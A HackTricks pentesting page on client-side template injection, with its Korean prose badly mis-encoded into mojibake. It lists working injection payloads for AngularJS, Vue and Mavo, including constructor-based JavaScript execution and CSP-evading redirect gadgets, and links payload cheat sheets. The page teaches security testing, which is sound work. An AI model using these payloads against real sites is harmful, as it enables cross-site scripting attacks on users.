ν΄λΌμ΄μΈνΈ μ¬μ΄λ ν νλ¦Ώ μΈμ μ (CSTI)
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
μμ½
μ΄λ μλ² μ¬μ΄λ ν νλ¦Ώ μΈμ μ (Server Side Template Injection)κ³Ό μ μ¬νμ§λ§ ν΄λΌμ΄μΈνΈμμ λ°μν©λλ€. SSTIλ μ격 μλ²μμ μ½λλ₯Ό μ€νν μ μκ² ν΄μ£Όμ§λ§, CSTIλ νΌν΄μμ λΈλΌμ°μ μμ μμμ JavaScript μ½λλ₯Ό μ€νν μ μκ² ν΄μ€λλ€.
μ΄ μ·¨μ½μ μ ν
μ€νΈνλ κ²μ SSTIμ κ²½μ°μ λ§€μ° μ μ¬νλ©°, μΈν°ν리ν°λ ν
νλ¦Ώμ κΈ°λνκ³ μ΄λ₯Ό μ€νν©λλ€. μλ₯Ό λ€μ΄, {{ 7-7 }}μ κ°μ νμ΄λ‘λλ₯Ό μ¬μ©νμ λ, μ±μ΄ μ·¨μ½νλ€λ©΄ 0μ λ³Ό μ μκ³ , κ·Έλ μ§ μλ€λ©΄ μλμ {{ 7-7 }}λ₯Ό λ³Ό μ μμ΅λλ€.
AngularJS
AngularJSλ HTMLκ³Ό μνΈμμ©νλ λ리 μ¬μ©λλ JavaScript νλ μμν¬λ‘, μ§μμ΄λ‘ μλ €μ§ μμ±μ ν΅ν΄ μλν©λλ€. κ·Έ μ€ νλκ° **ng-app**μ
λλ€. μ΄ μ§μμ΄λ AngularJSκ° HTML μ½ν
μΈ λ₯Ό μ²λ¦¬ν μ μκ² νμ¬, μ΄μ€ μ€κ΄νΈ μμμ JavaScript ννμμ μ€νν μ μκ² ν©λλ€.
μ¬μ©μ μ
λ ₯μ΄ ng-appμΌλ‘ νκ·Έλ HTML λ³Έλ¬Έμ λμ μΌλ‘ μ½μ
λλ μλ리μ€μμλ μμμ JavaScript μ½λλ₯Ό μ€νν μ μμ΅λλ€. μ΄λ μ
λ ₯ λ΄μμ AngularJSμ ꡬ문μ νμ©νμ¬ λ¬μ±ν μ μμ΅λλ€. μλλ JavaScript μ½λλ₯Ό μ€ννλ λ°©λ²μ 보μ¬μ£Όλ μμμ
λλ€:
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
λΉμ μ AngularJSμ μ·¨μ½μ μ λν λ§€μ° κΈ°λ³Έμ μΈ μ¨λΌμΈ μμ λ₯Ό http://jsfiddle.net/2zs2yv7o/μ Burp Suite Academyμμ μ°Ύμ μ μμ΅λλ€.
[!CAUTION] > Angular 1.6μμ μλλ°μ€κ° μ κ±°λμμ΅λλ€ λ°λΌμ μ΄ λ²μ λΆν°λ
{{constructor.constructor('alert(1)')()}}λλ<input ng-focus=$event.view.alert('XSS')>μ κ°μ νμ΄λ‘λκ° μλν΄μΌ ν©λλ€.
VueJS
λΉμ μ https://vue-client-side-template-injection-example.azu.now.sh/μμ μ·¨μ½ν Vue ꡬνμ μ°Ύμ μ μμ΅λλ€.
μλνλ νμ΄λ‘λ: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
κ·Έλ¦¬κ³ μ·¨μ½ν μμ μ μμ€ μ½λλ μ¬κΈ°μμ νμΈν μ μμ΅λλ€: https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
A really good post on CSTI in VUE can be found in https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets
V3
{{_openBlock.constructor('alert(1)')()}}
Credit: Gareth Heyes, Lewis Ardern & PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Credit: Mario Heiderich
λ λ§μ VUE νμ΄λ‘λλ₯Ό νμΈνμΈμ https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Mavo
Payload:
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
λ λ§μ νμ΄λ‘λλ https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
λ¬΄μ°¨λ³ λμ νμ§ λͺ©λ‘
Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


